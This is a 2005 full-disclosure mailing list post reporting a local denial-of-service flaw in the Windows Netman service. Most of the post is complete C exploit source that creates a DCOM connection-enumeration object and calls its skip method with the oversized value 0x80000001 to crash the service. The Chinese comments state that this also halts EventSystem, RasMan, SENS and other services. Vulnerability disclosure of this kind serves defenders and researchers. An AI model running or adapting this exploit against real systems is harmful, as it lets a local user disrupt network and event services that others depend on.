[Full-disclosure] [VulnWatch]Windows Netman Service Local DOS Vulnerability

From: bkbll (bkbll_at_cnhonker.net)
Date: 07/14/05

  • Next message: bkbll: "[Full-disclosure] Re:[VulnWatch]Windows Netman Service Local DOS Vulnerability" 
    Date: Thu, 14 Jul 2005 15:13:48 +0800
To: vulnwatch@vulnwatch.org, sec-adv@secunia.com, full-disclosure@lists.grok.org.uk

    Attach is the exploit.

    /* Windows Netman Service Local DOS Vulnerability.
     *
     * By bkbll bkbll#cnhonker.net 2005-7-14 2:49下午
     *
     * TESTED ON win2k sp4
     *
     * 因为Netman是通过svchost.exe -k netsvcs启动, 当该服务停止掉后,如下服务也将中止:
     *
     * EventSystem,Irmon,RasMan,NtmsSvc,SENS
     *
     */
    #define _WIN32_DCOM

    #include <stdio.h>
    #include <stdlib.h>
    #include <objbase.h>
    #include <unknwn.h>
    #include <windows.h>

    #pragma comment(lib,"ole32")
        
    MIDL_INTERFACE("98133274-4B20-11D1-AB01-00805FC1270E")
    VCConnectionManagerEnumConnection //: public IDispatch
    {
    public:
            virtual HRESULT STDMETHODCALLTYPE QueryInterface(void) = 0;
            virtual ULONG STDMETHODCALLTYPE AddRef( void) = 0;
            virtual ULONG STDMETHODCALLTYPE Release( void) = 0;
            virtual HRESULT STDMETHODCALLTYPE next(void) = 0;
            virtual HRESULT STDMETHODCALLTYPE skip(DWORD) = 0;
            virtual HRESULT STDMETHODCALLTYPE reset(void) = 0;
            virtual HRESULT STDMETHODCALLTYPE clone(void) = 0;
    };
    CLSID CLSID_ConnectionManagerEnumConnection = {0x0BA126AD2,0x2166,0x11D1,{0xB1,0xD0, 0x0, 0x80, 0x5F, 0x0C1, 0x27, 0x0E}};
    IID IID_IEnumNetConnection = {0xC08956A0,0x1CD3,0x11D1,{0x0B1,0x0C5, 0x0, 0x80, 0x5F, 0x0C1, 0x27, 0x0E}};

    //主函数
    main(int argc,char **argv)
    {
            VCConnectionManagerEnumConnection *clientcall;
            HRESULT hr;
            
            printf("Windows Netman Service Local DOS Vulnerability..\n\n");
            //初始化
            CoInitializeEx(NULL,COINIT_MULTITHREADED);

            printf("DCOM Client Trying started\n");
            hr = CoCreateInstance(CLSID_ConnectionManagerEnumConnection,NULL,CLSCTX_LOCAL_SERVER,IID_IEnumNetConnection,(void**)&clientcall);
            if (hr != S_OK)
            {
                    printf("CoCreateInstanceEx failed:%d\n",GetLastError());
                    return -1;
            }
            printf("Exploit netman service ....\n");
            hr = clientcall->skip(0x80000001);//(void**)&p);
            if(SUCCEEDED(hr))
            {
                    printf("Call client proc Success.\n");
            }
            else
                    printf("Call client proc failed:%d\n",GetLastError());
            hr = clientcall->Release();
            CoUninitialize();
            printf("Client exited.\n");
            return 1;
    }

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